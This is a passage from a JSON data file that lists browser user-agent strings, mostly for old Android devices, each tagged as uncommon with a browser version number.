Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; HTC6500LVW 4G Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; NABIJR-NV5B Build\\/JZO54L) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.4; en-gb; SM-G360H Build\\/KTU84P) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; pt-br; GT-I9063T Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; es-us; HUAWEI Y330-U05 Build\\/HuaweiY330-U05) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SGH-T999 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; Arc Build\\/JRO03L) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-gb; SM-T310 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; GT-P6210 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-us; HTC Vision Build\\/GRI40) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; pt-br; GT-I9082L Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I9100 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; ru-ru; GT-P3110 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 3.0; en-us; Xoom Build\\/HRI39) AppleWebKit\\/534.13 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.13\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; SGH-T999N Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; SAMSUNG-SGH-I467 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.3; en-gb; GT-I9100 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-gb; GT-S5570 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"3.1\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 1.6; en-us; xpndr_ihome Build\\/DRD35) AppleWebKit\\/528.5+ (KHTML, like Gecko) Version\\/3.1.2 Mobile Safari\\/525.20.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SGH-T699 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-ca; SGH-I727R Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; es-sa; LG-E612g Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; SAMSUNG-SGH-I927 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SPH-L710 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-au; GT-N8010 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-ca; SGH-T999V Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; es-us; Huawei Y301A1 Build\\/HuaweiY301A1) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; GT-P5113 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; A100 Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.1; en-us; ASUS Transformer Pad TF300T Build\\/JOP40D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; fr-fr; GT-S5360 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; Galaxy Nexus Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; SPH-M580BST Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3; en-us) AppleWebKit\\/999+ (KHTML, like Gecko) Safari\\/999.9\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-gb; SonyC1905 Build\\/15.4.A.1.9) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; SGH-T889 Build\\/JRO03C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; KFTHWI Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; ADR6400L 4G Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; AT300SE Build\\/JRO03C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; C5120 Build\\/GRK39F) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-gb; GT-I9100 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.3; en-us; SGH-T759 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; HP Slate 7 Build\\/JRO03H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; DROID RAZR 4G Build\\/6.7.2-180_DHD-16_M4-31) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SPH-M830 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 3.1; en-us; Xoom Build\\/HMJ25) AppleWebKit\\/534.13 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.13\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; es-us; SM-G355M Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; ZTE-Z995 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-au; GT-I9300 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-gb; GT-I9100 Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; es-es; LG-E460\\/V10f Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; es-mx; LGMS500 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.1; sv-se; GT-S5660 Build\\/FROYO) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4.2\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2;en-gb; Lenovo B8000-F\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.2.2 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; Kurio10S Build\\/C13300US108a) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; LG-L40G\\/V100 Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; in-id; Tabulet Sparta Build\\/GRJ90) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; HTC_C715c Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; es-us; ONE TOUCH 4007A Build\\/GRK39F) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; ro-ro; GT-I9100 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (SymbianOS\\/9.1; U; en-us) AppleWebKit\\/413 (KHTML, like Gecko) Safari\\/413\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-gb; HUAWEI Y300-0100 Build\\/HuaweiY300-0100) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2; en-us; Droid Build\\/FRG22D) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/2.1.0 (Linux; U; Android 5.0.2; SM-T530 Build\\/LRX22G)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; Xoom Build\\/JZO54M) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; es-us; GT-S5301L Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; Gigaset QV830 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/1.6.0 (Linux; U; Android 4.4.2; SPH-L710 Build\\/KOT49H)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; SCH-R920 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; pt-br; GT-S5303B Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.1; en-us; LG-MS690 Build\\/FRG83) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; HTC_0P9O110\\/1.54.502.15 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; Huawei-H867G Build\\/HuaweiH867G) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; SCH-I535 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; DROID4 Build\\/9.8.2O-72_VZW-18-9) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; PJ83100\\/3.18.502.9 Build\\/JRO03C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; in-id; GT-S5360 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; VS840 4G Build\\/GRK39F) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.1; en-us; SGH-T839 Build\\/FROYO) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; Kurio7 Build\\/ICS) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; GT-S6102 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; Le Pan TC802A Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.1; en-us; MB525 Build\\/3.4.2-107_JDN-9) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; PJ83100\\/3.18.502.6 Build\\/JRO03C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-ca; KFJWI Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; RCT6077W2 Build\\/JRO03H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; pt-br; GT-S5300B Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/1.6.0 (Linux; U; Android 4.2.2; GT-P5113 Build\\/JDQ39)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 3.1; en-ca; GT-P7500R Build\\/HMJ37) AppleWebKit\\/534.13 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.13\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-au; GT-S7500T Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; zh-cn; Lenovo-A269i\\/S001) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; DROID4 Build\\/9.8.2O-72_VZW-18) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; it-it; GT-P5100 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-au; GT-P5210 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; pt-br; GT-S7582L Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; SAMSUNG-SGH-I727 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/2.1.0 (Linux; U; Android 5.0.1; SAMSUNG-SGH-I337 Build\\/LRX22C)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; MB886 Build\\/9.8.0Q-97_MB886_FFW-28) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2; en-us; sdk Build\\/FRF91) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; SCH-I605 Build\\/JRO03C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4; en-us; SAMSUNG-SGH-I727 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; ME302C Build\\/JSS15Q) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; DROID2 GLOBAL Build\\/4.5.1_57_D2GA-59) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; GT-I9100 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SCH-R530U Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30 USCC-R530U\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-gb; GT-P5110 Build\\/JRO03C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; es-us; M4 SS1060 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.0; en-us; Droid Build\\/ESD20) AppleWebKit\\/530.17 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/530.17\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; SAMSUNG-SGH-I727 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3; en-us; SAMSUNG-SGH-I717 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.3; en-gb; GT-P1000 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile 